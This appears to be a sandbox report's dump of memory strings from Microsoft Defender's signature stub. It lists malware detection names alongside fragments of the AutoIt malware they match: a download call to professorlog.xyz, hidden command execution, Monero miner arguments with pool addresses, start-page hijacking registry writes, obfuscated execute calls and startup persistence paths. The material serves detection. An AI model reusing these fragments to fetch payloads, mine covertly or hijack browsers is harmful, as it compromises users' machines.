        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: &while wingetprocess
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: if winclose =
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: return shellexecute ( @workingdir & chr ( 92 ) & $
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: & chr ( 92 ) & $
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: dim $
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: ] = [ "
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 0.exe" , "
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: `.exe" ]
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#alf:hstr:autoit_rc4encodefunc
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 0f84dc000000b90001000088c82c0188840deffeffffe2f38365f4008365fc00817dfc00010000
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 7d478b45fc31d2f775f0920345100fb6008b4dfc0fb68c0df0feffff01c80345f425ff000000
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: return shellexecute ( $sfilepath , "" , @workingdir , "print" , $ishow = default @sw_hide $ishow )
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: dllcall ( "shell32.dll" , "ulong_ptr" , "shellexecutew" , "hwnd" , $hparent , $stypeofverb , $sverb
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: dllcall ( "shell32.dll" , "int" , "shfileoperationw"
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: "performing backup only"
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: runwait ( @comspec & " /c "
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#alf:trojan:win32/racealer.pa!mtb
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: inetget ( "
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: ://professorlog.xyz/
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: .zip" , "
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: = objcreate ( "shell.application" )
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: run ( "c:\users\public\run
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#tel:trojan:win32/injectorautoit.sq!mtb
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 4dllopen ( "advapi32.dll" )
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: func _crypt_encryptdata ( $
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: p = true )
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: dobjcreate ( "msxml2.domdocument" )
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 0.datatype = "bin.base64"
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: return seterror (
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#tel:trojan:autoit/salvagedawn.b!dha
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: -dwv1.3.au3.509"
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: $"4054656d70446972"
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: "313232"
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: "3937"
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: "0x457865637574652842696e617279746f737472696e672827307834353738363536333735373436353238343236
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 633323339323732393239272929"
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#hstr:win32/predator.ar_3108!mtb
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: global $d3076 = execute
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: dim $t31qy644 = $d3076 ( "chr" )
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: $t31qy644 ( 303 + -204 ) & $t31qy644 ( 315 + -204 ) & $t31qy644 ( 304 + -204 ) & $t31qy644 ( 305 + -204 )
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: $t31qy644 ( 319 + -204 ) & $t31qy644 ( 308 + -204 ) & $t31qy644 ( 305 + -204 ) & $t31qy644 ( 312 + -204 )
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: $r323038323oc0a ( $n32313731jj , $t31qy644 ( 319 + -204 ) & $t31qy644 ( 308 + -204 ) & $t31qy644 ( 305 + -204 )
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: $m323130303w3e ( $u33lrw44yn ) & $t31qy644 ( 297 + -204 ) , $r32313131va5m7zl )
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#alf:hstr:trojan:win32/startpage.zw!bit
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: regwrite ( "hkey_current_user\software\microsoft\internet explorer\main" , "start page"
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: regwrite ( "hkey_current_user\software\microsoft\internet explorer\main" , "default_page_url"
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: regwrite ( "hkey_current_user\software\microsoft\internet explorer\main" , "search bar"
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#alf:ransom:win32/tron.pb!mtb
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: $extension = "
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: guicreate ( "
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: _filecreate ( @appdatadir & "\network\
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: _filecreate ( @localappdatadir & "\microsoft\windows\
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: filecopy ( "c:\programdata\
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: " , "c:\
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#allowlist:bonzo
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: autoit3wrapper_outfile=helpnew.exe
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: autoit3wrapper_res_description=bonzo uvnc-helper
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: autoit3wrapper_res_companyname=bonzo
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: autoit3wrapper_run_before=echo ""1"" >""c:\users\bonzo\temp\lock"
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: autoit3wrapper_run_after=copy ""%out%"" ""c:\users\bonzo\temp"
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: global $sservicename = "tvnserver"
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: global $option_update = "http://bonzo.lublin.pl/help/helpnew.exe"
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#alf:trojan:win32/coinminer.pa!mtb
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: opt ( "trayiconhide" , 0 )
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: -p x -k --nicehash -a rx/0 --max-cpu-usage=25" , "" , @sw_hide )
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: run ( @comspec & " /c " & "%localappdata%\temp\
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: \webhelper.exe
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 0-o strat
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: ://xmr.2miners.com
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: ://randomxmonero.usa-east.nicehash.com
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#alf:trojan:win32/autoitinject.sd!mtb
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: ( "6c6c5374727563744765745074722824744275666629290x446c6c5374727563744372656174652822627974655b222026202469506c61696e54657874536
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: ( "666292c202264776f7264222c2031290x446c6c43616c6c2824646c6c68616e646c652c2022626f6f6c222c202243727970744861736844617461222c2022
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: ( "6c222c204578656375746528225472756522292c202264776f7264222c20302c20227374727563742a222c20
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: lua:lastfolder
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: %s%s!
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: :longfolder
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#slf:trojan:script/userexecution.a!amsi
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#slf:trojan:script/userexecution.a!amsiobmpattributes
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 48db3ab350cd5
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 1d5b3942ec61c
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: susptool_
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#lua:colisicomponent
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: appdatafr3.bin
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 15b362aecaba
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: db78cc5e9b0b
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: hstr:adware:win32/lollipop_check_arg
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: %hstr:adware:win32/lollipop_check_arg
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: dbb38de769be
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#context:softwarebundler:win32/installmonster.a
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: (.+)%(.%).exe$
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: (.+).exe$
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 4cb382521bf6
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: \\.\pipe\local\chrome.nativemessaging
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: &\\.\pipe\local\chrome.nativemessaging
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: \\.\pipe\mpvsocket
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: \clickonceforgooglechrome.exe
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: \evolvecontactagent.exe
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#lua:contextdataprocessname2
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#lua:contextdataprocessname2obmpattributes
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: lua:openfilecontextdatapresent
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: lua:openfilecontextdata:procname!
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: "lua:openfilecontextdata:procname!
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: lua:openfileforcreatingprocess
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: lua:openfilecontextdata:filename!
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: "lua:openfilecontextdata:filename!
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 7378b0f18dd3
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#lua:autoitcustomlastsec
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#jenxcusbase64deobfuscator
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#jenxcusbase64deobfuscatorobmpattributes
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: "[a-za-z0-9%+/][a-za-z0-9%+/]=(=?)(..-)[a-za-z0-9%+/][a-za-z0-9%+/]=
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: e"[a-za-z0-9%+/][a-za-z0-9%+/]=(=?)(..-)[a-za-z0-9%+/][a-za-z0-9%+/]=
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: [jxs64]
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#tel:trojan:win32/gatak.eg!dha
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: \appdata\roaming\microsoft\windows\start menu\programs\startup
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: ?\appdata\roaming\microsoft\windows\start menu\programs\startup
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: \%d+%.exe$
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: aa785fa688b6
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: cmd /c tas
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 95b39109a48a
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#lua:cobmetloader.a
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#lua:cobmetloader.aobmpattributes
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#alf:contextpeadminshare.a
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: c:\windows
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: lua:contextpeadminshare.a1
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 69b3eccf1b7a
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: qddddn;222s;222suddddod
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: meu\fddddz9\dddnmnddddsdfgiuddd3{hftdddr{hfdddf\irddddlmgddddfj\fddh
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 7tdddnuinddd4qkeddtn:uddd;eifldddddd6l}222iv7ddddjdlpddddzlrjddddlle
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: qdd\kmfvvhddtdddddwdjdzpeddrfeddzi<qjdd\kmfvlqdrledddddjmfhddd[vqdd\
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: djodd;22ddddhddddpddttyw
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: djodd;22ddddhddddpddttywx
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#trojan:msil/remloader!mtb
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: dd"!#trojan:msil/remloader!mtb
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: {11111-22222-10009-11112}
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: {11111-22222-50001-00000}
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: filestream
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: filemode
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: fileshare
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: get_discretionaryacl
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: rawacl
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: wellknownsidtype
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: aceflags
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: set_useshellexecutex
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#alfper:trojan:win32/emaster.a!dha
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: d:\work\trunk\urob
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: ros\emaster\log_f
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: %s/%s%04u%0
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: u%02u.log
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: d:\work\trunk\uroboro
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: \emaster\my_console_
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: $id: emaster_crypt.c 583
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 2007-04-13 09:38:10z vlad $
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: d:\work\trunk\uroboros
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: emaster\emaster_crypt.c
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: $id: qio_win32.c 549
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 2007-02-26 10:01:38z gilg $
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: ros\queue\drivers\qio_win32.c
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: $id: qm.c 14872
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: 010-12-17 14:02:22z gilg $
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: d:\work\trunk\
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: roboros\queue\qm.c
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: auto_optimiz
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: event_init
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: auto_opitmize t
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: read_create
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: roboros\emaster\_bin\emaster\win32_debug\emas
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: er.pdb
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: emaster_sess
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: on_destroy
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: on_create
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: emaster_clo
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: e_socket
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: emaster_gro
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: p_clear
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: emaster_st
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: rt_group
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: emaster_is
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: group_mode
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: emaster_ses
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: ion_set_path
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: emaster_free_
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: md_result
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: emaster_del
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: ion_exec
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: emaster_c
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: ncel_exec
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: emaster_g
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: t_globals
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: !#app:coinminer32:nicehashminer
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: config file is differs from version of nicehashminer... creating backup archive
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: a re-download of nicehash miner
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: might be needed.
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: unable to get nicehash profitability data. if you are connected to internet, try again later.
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpBinary or memory string: do not use our services or download or use the nicehash mining software.
